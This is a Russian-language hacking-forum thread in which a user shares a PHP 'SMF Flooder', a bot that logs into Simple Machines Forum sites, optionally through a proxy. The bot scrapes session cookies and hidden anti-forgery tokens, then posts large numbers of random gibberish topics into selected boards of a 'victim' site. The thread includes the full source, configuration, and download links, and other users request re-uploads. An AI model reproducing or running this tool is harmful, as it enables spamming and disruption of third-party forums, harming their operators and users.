Форумы SMF Flooder

Discussion in 'Уязвимости CMS/форумов' started by Ponchik, 10 Apr 2009.

  1. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Собстна сабж навеян это темой /threadnav115153-1-10.html
    Пытался нагуглить флудер, не нащёл :(
    написал
    Code:
    http://slil.ru/27438312
    http://rapidshare.com/files/219790518/SMF_Flooder_2.rar.html
    http://dump.ru/file/2432381
    Тестировался на SMF 1.1.6, SMF 2.0 RC1

    Что может скрипт писать небуду, вот вам конфиг, сами поймёте
    PHP:
    $debug = true; #Выводить системные месаги?
    $host = 'ipd.ru'; #Например localhost
    $dir = '/forum/'; #например /forum/ или /
    $login = 'ololo'; 
    $pass = 'BNDRFBNDRF';
    $proxy_ip = 'ipd.ru'; #Или прокся или сайт-жертва
    $proxy_port = 80;
    $sleep_time = 5; #задержка секунд между запросами
    $boards = array('6','2'); #Список разделов, где флудить, берётся из URL вида /index.php?board=9.0 => 9
    $count_msg = 5; #Скоко тем создать, максимальное число 99999999999, тебе хватит :)
    UPD: Сделал и для версии 2.0 RC1
     
    #1 Ponchik, 10 Apr 2009
    Last edited: 10 Apr 2009
    12 people like this.
  2. гейлордфакерЪ

    гейлордфакерЪ Elder - Старейшина

    Joined:
    28 Sep 2006
    Messages:
    416
    Likes Received:
    296
    Reputations:
    -20
    пончь я в тебя влюблён) спасибо за содействие плюсоф тебе не меренно за поддержку и застраченое время
     
  3. BenZeR

    BenZeR New Member

    Joined:
    18 Feb 2008
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Спасибо, сейчас поковыряюсь ;)
     
  4. DasBoot

    DasBoot New Member

    Joined:
    5 Aug 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Можно перезалить?
     
  5. lobzik203

    lobzik203 New Member

    Joined:
    3 Apr 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    у кого он остался, перезалейте пожалста.
     
  6. Alexeyco

    Alexeyco New Member

    Joined:
    3 Nov 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Пожалуйста, перезалейте этого бота... очень надо
     
  7. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Уже несколько раз просили, нашёл наконецто
    Надеюсь это он :eek:

    PHP:
    <?php
    #SMF 1.1.6 flooder by Ponchik
    #forum.antichat.ru
    set_time_limit(0);

    $debug = true; #Выводить системные месаги?
    $host = 'hackhound.org'; #Например localhost
    $dir = '/forum/'; #например /forum/ или /
    $login = 'ololo';
    $pass = 'qwertyuiop';
    $proxy_ip = 'hackhound.org'; #Или прокся или сайт-жертва
    $proxy_port = 80;
    $sleep_time = 15; #задержка секунд между запросами
    $boards = array('34'); #Список разделов, где флудить, берётся из URL вида /index.php?board=9.0 => 9
    $count_msg = 10; #Скоко тем создать, максимальное число 99999999999, тебе хватит :)

    function genTheme() { #Гененируем тему, меняйте на чё хотите
        
    $g = 'eyuioa';
        
    $s = 'qwrtpsdfghjklzxcvbnm';
        
    $len = rand(10,40);
        
    $theme = '';
        for(
    $i=rand(0,1);$i<$len;$i++) {
            if(!
    rand(0,5)) $theme .= ' ';
            if(
    $i%2) $theme .= $g[rand(0,strlen($g)-1)];
            else 
    $theme .= $s[rand(0,strlen($s)-1)];
        }
        return 
    trim($theme);
    }

    function 
    genMessage() { #Гененируем месагу
        
    $g = 'eyuioa';
        
    $s = 'qwrtpsdfghjklzxcvbnm';
        
    $len = rand(100,500);
        
    $theme = '';
        for(
    $i=rand(0,1);$i<$len;$i++) {
            if(!
    rand(0,5)) $theme .= ' ';
            if(
    $i%2) $theme .= $g[rand(0,strlen($g)-1)];
            else 
    $theme .= $s[rand(0,strlen($s)-1)];
        }
        return 
    trim($theme);
    }

    ###########################Поехали############################
    #Да, можно былбы CURL и т.д. но мну так всё нравица

    $login = urlencode($login);
    $pass = urlencode($pass);

    if(
    $debug) echo "Иду на пагу<br>\r\n";

    do {
        
    $fp = fsockopen($proxy_ip, $proxy_port, $errno, $errstr, 30);
    } while(!
    $fp);

    $post = "user=$login&passwrd=$pass&cookieneverexp=on&hash_passwrd=";

    $out = "POST http://{$host}{$dir}index.php?action=login2 HTTP/1.0\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Referer: http://{$host}{$dir}index.php?action=login2\r\n";
    $out .= "Proxy-Connection: Close\r\n";
    $out .= "Content-Length: ".strlen($post)."\r\n";
    $out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n$post\r\n\r\n";

    fwrite($fp, $out);
    $ans = '';
    while (!
    feof($fp)) {
        
    $ans .= fgets($fp, 128);
    }
    fclose($fp); file_put_contents('C:\rfgsdfsdf.html',$ans);

    preg_match_all("|.*Set-Cookie: (.*)=(.*);.*|U", $ans, $out);

    $cookies = array();
    for(
    $i=0;$i<count($out[1]);$i++) { #Да, да, тупо тута получилось, можно бюло переделать регулярку, но мне лень (:
        
    $cookies[] = $out[1][$i].'='.$out[2][$i].';';
    }
    $cookies = implode(' ',$cookies)or die('Немогу залогиниться');
    if(
    $debug) echo "Успешно залогинился<br>\r\n";

    do {
        
    $fp = fsockopen($proxy_ip, $proxy_port, $errno, $errstr, 30);
    } while(!
    $fp);

    $out = "GET http://{$host}{$dir}index.php HTTP/1.0\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Cookie: $cookies\r\n";
    $out .= "Proxy-Connection: Close\r\n\r\n";

    fwrite($fp, $out);
    $ans = '';
    while (!
    feof($fp)) {
        
    $ans .= fgets($fp, 128);
    }
    fclose($fp);

    if(
    $debug) echo "Готовлюсь к атаке :)<br>\r\n";
    sleep($sleep_time);
    #####################################
    for($i=1;$i<=$count_msg;$i++) {
        
    shuffle($boards);
        
    $board = $boards[0];

        if(
    $debug) echo "$i/$count_msg) Создаю тему в разделе $board<br>\r\n";

        do {
            
    $fp = fsockopen($proxy_ip, $proxy_port, $errno, $errstr, 30);
        } while(!
    $fp);

        
    $out = "GET http://{$host}{$dir}index.php?action=post;board={$board}.0 HTTP/1.0\r\n";
        
    $out .= "Host: $host\r\n";
        
    $out .= "Cookie: $cookies\r\n";
        
    $out .= "Proxy-Connection: Close\r\n\r\n";

        
    fwrite($fp, $out);
        
    $ans = '';
        while (!
    feof($fp)) {
            
    $ans .= fgets($fp, 128);
        }
        
    fclose($fp);

        
    preg_match_all('|.*\<input type\="hidden" name\="(.*)" value\="(.*)" /\>.*|U', $ans, $out);
        for(
    $i=0;$i<count($out[1]);$i++) {
            if(
    $out[1][$i] == 'seqnum') {
                
    $seqnum = $out[2][$i];
                
    $secname = $out[1][$i-1];
                
    $secval = $out[2][$i-1];
            }
        }

        
    sleep($sleep_time);

        do {
            
    $fp = fsockopen($proxy_ip, $proxy_port, $errno, $errstr, 30);
        } while(!
    $fp);
        
    $theme = urlencode(genTheme());
        
    $message = urlencode(genMessage());

        
    $post = "topic=0&subject=$theme&icon=xx&message=$message&notify=0&lock=0&goback=1&attachment%5B%5D=&attachment%5B%5D=&post=%CE%F2%EF%F0%E0%E2%E8%F2%FC&additional_options=0&$secname=$secval&seqnum=$seqnum";

        
    $out = "POST http://{$host}{$dir}index.php?action=post2;start=0;board={$board} HTTP/1.0\r\n";
        
    $out .= "Host: $host\r\n";
        
    $out .= "Referer: http://$host/forum/index.php?action=post;board={$board}.0\r\n";
        
    $out .= "Cookie: $cookies\r\n";
        
    $out .= "Proxy-Connection: Close\r\n";
        
    $out .= "Content-Length: ".strlen($post)."\r\n";
        
    $out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n$post\r\n\r\n";

        
    fwrite($fp, $out);
        
    $ans = '';
        while (!
    feof($fp)) {
            
    $ans .= fgets($fp, 128);
        }
        
    fclose($fp);
        
    file_put_contents('C:\\'.time().'.html',$out);
        
    sleep($sleep_time);
    }
    ?>
     
    #7 Ponchik, 27 Apr 2010
    Last edited: 27 Apr 2010
    2 people like this.
  8. Center61

    Center61 New Member

    Joined:
    16 Sep 2009
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Не то, баги сплошные :(